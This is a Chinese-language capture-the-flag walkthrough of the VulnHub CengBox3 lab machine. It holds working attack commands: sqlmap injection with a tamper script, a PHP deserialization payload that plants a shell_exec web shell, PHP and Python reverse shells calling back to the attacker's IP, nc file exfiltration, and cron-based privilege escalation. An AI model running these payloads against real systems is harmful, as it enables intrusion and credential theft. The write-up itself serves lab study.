目录
1.前言
2.准备工作
3.arp-scan主机发现
4.网络扫描
5.查看web指纹
6.旁站查询
7.目录爆破
8.sql 注入
9.获取反弹shell
10.提权
10.1获取普通用户shell
10.2获取root权限
11.结语
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
镜像下载地址:https://download.vulnhub.com/cengbox/CengBox3.ova。
难度:中等/困难
镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机
目标:获取user和root的flag。
靶机IP:未知
本机kali IP:192.168.1.107
使用命令:
arp-scan -l
发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。
nmap -A 192.168.1.116
发现系统是linux,开放了80、443端口,80端口为HTTP服务,使用的是Apache 2.4.18,443端口为SSL,域名ceng-company.vm,22号端口有ssh服务,但是关闭了。
whatweb 192.168.1.116
通过wappalyzer 查看web指纹
没有发现有用的东西。
看看网站,浏览器访问:https://192.168.1.116
页面点点点,发现4个头像这里,第一个和最后一个人除了Facebook、twitter、Instagram之外还有一个链接,分别是GitHub和reddit.
GitHub页面得到hint
得到一个账号:[email protected]
一段反序列化代码
旁站也就是靶机做了个反向代理,同一个IP上多个网站,是通过Host头来决定发给哪个网站。
修改hosts文件把ceng-company.vm 绑定到靶机IP上。
在本地hosts文件,添加新行 192.168.1.116 ceng-company.vm
用gobuster扫描域名,查找旁站。
gobuster vhost --append-domain -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到dev。得到新域名dev.ceng-company.vm
在本地hosts文件,添加新行
192.168.1.116 dev.ceng-company.vm
使用dirsearch 对dev.ceng-company.vm 进行目录爆破
dirsearch -u http://dev.ceng-company.vm
通过浏览器访问http://dev.ceng-company.vm/index.php
是一个登录界面,不知道账号密码,试试sql注入。
burp抓包后保存,存入1.txt。
开始sql注入,使用命令:
sqlmap -r "1.txt" --dbs
先直接用sqlmap注入一下,显示存在注入,但是始终注入不出来数据库,“[ERROR] unable to retrieve the number of databases”,猜想应该是存在字符过滤。
使用tamper脚本between,功能是将大于号和等于号用between语句替换,用于过滤了大于符号和等号的情况。
sqlmap -r "1.txt" --tamper=between --dbs
得到数据库名cengbox,继续猜解表名。
sqlmap -r "1.txt" --tamper=between -D cengbox --tables
得到表名users,继续猜解列名。
获得列名,id,login,name,password。
打印出users表的内容。
sqlmap -r "1.txt" --tamper=between -D cengbox -T users -C id,login,name,password --dump
得到了两个用户名密码: [email protected]/admin*_2020 ,[email protected]/walnuttree 。
使用账号密码登录成功。
页面提供三个功能,ADD POEM,密码修改,注销。
在ADD POEM输入任意内容,跳转如下。
点击Here之后调整
输入的内容会在这个页面回显。注意到回显是地址栏有信息,是URL编码。
找个在线的URL解码工具解码
http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.txt%22%3Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A10%3A%22mypoemLine%22%3B%7D
解码结果
http://dev.ceng-company.vm/addpoem.php?data=O:4:"Poem":3:{s:8:"poemName";s:11:"myPoemTitle";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:11:"myPoemTitle";}s:9:"poemLines";s:10:"mypoemLine";}
data后面内容是PHP序列化后的内容,看到了我们输入的poemtitle,poemlines,一个文件/var/www/html/poem.txt,猜测是存放输入内容的文件,目录是web根目录。
直接访问poem.txt,
http://dev.ceng-company.vm/addpoem.php?data=poem.txt
没有内容显示,但是成功了。
此处有PHP序列化,想到前面得到的反序列化代码,试试PHP序列化漏洞。
构造payload
O:4:"Poem":3:{s:8:"poemName";s:4:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.php";s:8:"poemName";s:47:"&1'); ?>";}s:9:"poemLines";s:5:"cdbda";}
进行URL编码
O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B'cmd'%5D.'%202%3E%261')%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A10%3A%22mypoemLine%22%3B%7D
拼接到URL
http://dev.ceng-company.vm/addpoem.php?data=O%3A4%3A%22Poem%22%3A3%3A%7Bs%3A8%3A%22poemName%22%3Bs%3A11%3A%22myPoemTitle%22%3Bs%3A10%3A%22isPoetrist%22%3BO%3A8%3A%22poemFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A22%3A%22%2Fvar%2Fwww%2Fhtml%2Fpoem.php%22%3Bs%3A8%3A%22poemName%22%3Bs%3A47%3A%22%3C%3Fphp%20echo%20shell_exec(%24_GET%5B'cmd'%5D.'%202%3E%261')%3B%20%3F%3E%22%3B%7Ds%3A9%3A%22poemLines%22%3Bs%3A10%3A%22mypoemLine%22%3B%7D
访问http://dev.ceng-company.vm/poem.php?cmd=id 找不到文件。
试试http://ceng-company.vm/poem.php?cmd=id
访问成功,有PHP序列化漏洞。
访问http://192.168.1.116/poem.php?cmd=id 也可以成功。
把反弹shell命令
php -r '$sock=fsockopen("192.168.1.107",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
URL编码后,拼接到http://192.168.1.116/poem.php?cmd=
在本机运行nc -vlp 6666 启动监听
访问
http://192.168.1.116/poem.php?cmd=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.1.107%22%2C6666)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
成功获得反弹shell。
获取的反弹shell没有显示目录,升级远程shell。
bash -i
SHELL=/bin/bash script -q /dev/null
以上步骤已经获得了web shell,但是不是用户shell,更不是管理员shell,我们期望获得管理员的权限,完全控制目标机器。
运行
uname -a
得知系统是64位,下载pspy64s到靶机上授予执行权限运行
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod 777 pspy64s
./pspy64s
观察发现存在定时任务/usr/bin/python3 /opt/login.py
查看/opt/login.py
只有eric用户有权限。
再使用linpeas脚本试试,下载文件
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
授予权限并执行
chmod 777 linpeas.sh
./linpeas.sh
提示可以使用tcpdump嗅探数据。
tcpdump就是dump the traffic on a network,是根据使用者的定义对网络上的数据包进行截获的包分析工具。可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助去掉无用的信息。
运行tcpdump
默认监视的是第一个网卡,抓取到的是主机和靶机的通信,没有数据,试试在另一个网卡lo。
运行 tcpdump -i lo
抓到了数据,保存下来进一步分析。
tcpdump -i lo -w ceng.pcapng
发现没有权限写文件,找一个有写文件权限的地方。/tmp 目录可以。
切换到/tmp目录再执行命令,等待!!!,Ctrl+C中断执行。
cd /tmp
tcpdump -i lo -w ceng.pcapng
在/tmp目录下看到了保存的数据
把保存的文件ceng.pcapng传送到攻击机上分析。
在攻击机运行
nc -vlp 6789 > cengK.pcapng
在靶机shell上运行
nc 192.168.1.107 6789 < ceng.pcapng
成功接受到数据包
运行 wireshark 打开抓到的数据包 cengK.pcapng
右键Fellow ->TCP Stream
发现eric账号密码:password=3ricThompson%2ACovid19&username=eric
然后对其URL解码得到:password=3ricThompson*Covid19&username=eric
使用eric的账号密码登录靶机
su eric
3ricThompson*Covid19
切换目录到,用户flag在user.txt
/home/eric
cat user.txt
现在有了普通用户权限,需要root权限。我们在上面发现存在定时任务/usr/bin/python3 /opt/login.py。eric用户对login.py有读写权限。把login.py内容换成反弹shell内容,在攻击机上监听可获得反弹shell,即为root权限。
在攻击机上运行nc
nc -vlp 5678
把反弹shell代码写入login.py
echo "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.107',5678));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > login.py
靶机收到连接,是root用户shell,flag在proof.txt中。
这是cengbox系列靶机的第三个,也就是最后一个,这三个靶机难度恰好覆盖简单、中等、困难不同阶段,都做一下能感受到不同难度靶机的情况。最后请各位师傅斧正!!!